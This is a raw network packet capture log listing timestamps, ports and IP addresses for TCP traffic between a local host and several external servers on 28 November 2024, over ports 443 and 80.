Nov 28, 2024 17:24:38.733352900 CET	49835	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:38.733382940 CET	443	49835	172.217.19.225	192.168.2.6
Nov 28, 2024 17:24:38.733618021 CET	49835	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:38.738739967 CET	49835	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:38.738754988 CET	443	49835	172.217.19.225	192.168.2.6
Nov 28, 2024 17:24:38.775360107 CET	443	49820	172.217.19.225	192.168.2.6
Nov 28, 2024 17:24:38.893475056 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:38.893529892 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:38.893542051 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:38.893562078 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:38.893682957 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:38.930445910 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.930480003 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:38.930555105 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.931345940 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.931359053 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:38.932301044 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.932342052 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:38.932426929 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.932614088 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.932630062 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:38.939949036 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.939982891 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:38.940321922 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.940948963 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:38.940965891 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:39.004664898 CET	49793	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:39.004693031 CET	443	49793	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:39.147670984 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.148933887 CET	49819	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.148974895 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.149502039 CET	49819	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.149508953 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.174633980 CET	443	49820	172.217.19.225	192.168.2.6
Nov 28, 2024 17:24:39.174688101 CET	49820	443	192.168.2.6	172.217.19.225
Nov 28, 2024 17:24:39.317879915 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:39.317909002 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:39.317962885 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:39.319063902 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:39.319077015 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:39.384380102 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:39.384500027 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:39.558083057 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.558258057 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.559106112 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.559139967 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.559946060 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.559956074 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.560229063 CET	49824	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.560262918 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.560847998 CET	49824	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.560856104 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.592658043 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.592719078 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.592762947 CET	49819	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.594686985 CET	49819	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.594707012 CET	443	49819	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.599477053 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.599523067 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.599595070 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.599740028 CET	49854	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.599759102 CET	443	49854	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.616919994 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.617714882 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.617736101 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.618557930 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.618562937 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.622100115 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.622525930 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.622549057 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.628349066 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.628362894 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.629451036 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.629465103 CET	443	49855	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:39.629533052 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.630027056 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.630033970 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:39.630115032 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.630300999 CET	49855	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.630311966 CET	443	49855	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:39.630507946 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.630518913 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:39.767884970 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.767923117 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:39.767990112 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.768182993 CET	49857	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:39.768191099 CET	443	49857	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:39.994407892 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.994486094 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.994693041 CET	49824	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:39.995002031 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.995060921 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:39.995111942 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.002823114 CET	49824	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.002850056 CET	443	49824	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.004847050 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.004873037 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.004929066 CET	49823	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.004935980 CET	443	49823	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.027698040 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.027731895 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.028752089 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.028789997 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.028791904 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.029867887 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.029999971 CET	49858	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.030014038 CET	443	49858	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.030386925 CET	49859	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.030401945 CET	443	49859	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.059931993 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.067066908 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.067128897 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.067189932 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.067847967 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.067915916 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.067976952 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.076705933 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.076735973 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.079348087 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.079369068 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.079380989 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.079385996 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.082000017 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.082043886 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.082185030 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.082786083 CET	49860	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.082803011 CET	443	49860	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.087611914 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.087625027 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.087721109 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.087894917 CET	49861	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:40.087914944 CET	443	49861	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:40.180147886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.240118980 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.240153074 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.242592096 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.252413988 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.252429962 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.252644062 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.252660990 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.252808094 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.252835035 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.253887892 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.253909111 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.253963947 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.254009008 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.254343033 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.254395008 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.272300959 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.272442102 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.295110941 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.295228958 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.295552969 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.295726061 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.295743942 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.295770884 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.296053886 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.296068907 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.303205013 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.303220034 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.370884895 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.376573086 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.376642942 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.507689953 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507734060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507746935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507757902 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507817030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507829905 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507853031 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.507899046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.507899046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507911921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.507944107 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.516161919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.516221046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.516314030 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.524523973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.524540901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.524615049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.689430952 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.689492941 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.689537048 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.689553976 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.689579964 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.689595938 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.692154884 CET	49839	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.692183971 CET	443	49839	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.692583084 CET	49840	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.692604065 CET	443	49840	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.700565100 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.700624943 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.700664043 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.700853109 CET	49841	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.700866938 CET	443	49841	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.709425926 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.709441900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.709482908 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.709517002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.712515116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.712560892 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.712630987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.712673903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.720571041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.720635891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.720711946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.720825911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.728583097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.728673935 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.728698015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.728738070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.738814116 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.738914013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.738918066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.738945007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.744659901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.744707108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.744834900 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.744878054 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.752718925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.752769947 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.752794981 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.752829075 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.761976004 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.762034893 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.762125015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.762165070 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.770013094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.770100117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.770139933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.770184040 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.777936935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.777980089 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.778074026 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.778106928 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.785052061 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.785067081 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.785118103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.792608023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.792707920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.899663925 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:40.899894953 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:40.899905920 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:40.901120901 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:40.901189089 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:40.902319908 CET	49848	443	192.168.2.6	18.244.18.27
Nov 28, 2024 17:24:40.902381897 CET	443	49848	18.244.18.27	192.168.2.6
Nov 28, 2024 17:24:40.909969091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.910032034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.910123110 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.910161972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.913309097 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.913367033 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.913422108 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.913458109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.920022964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.920170069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.920224905 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.926724911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.926770926 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.926855087 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.926897049 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.931660891 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.931885958 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.931912899 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.932944059 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.932992935 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.933469057 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.933526039 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.933540106 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.933573961 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.933937073 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.934020042 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.934128046 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.934142113 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.939822912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.939862013 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.939874887 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.939920902 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.946135998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.946201086 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.946249008 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.946310997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.952501059 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.952547073 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.952574968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.952610970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.958769083 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.958841085 CET	443	49856	162.159.61.3	192.168.2.6
Nov 28, 2024 17:24:40.958869934 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.958894968 CET	49856	443	192.168.2.6	162.159.61.3
Nov 28, 2024 17:24:40.958930016 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.958961964 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.959197044 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.965127945 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.965255022 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.965282917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.965313911 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.971427917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.971492052 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.971530914 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.971565962 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.977797985 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.977869987 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.977912903 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.977952003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.984127045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.984179974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.984368086 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.984435081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.990585089 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.990607977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.990673065 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.996895075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.996942997 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:40.997138977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:40.997176886 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.003159046 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.003171921 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.003233910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.009495974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.009634972 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.009665966 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.009788990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.015785933 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.015825987 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.015880108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.015880108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.022447109 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.022459984 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.022502899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.040000916 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.040014982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.040081024 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.040077925 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.040132999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.040175915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.040175915 CET	49813	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:41.041564941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:41.041598082 CET	80	49813	185.215.113.206	192.168.2.6
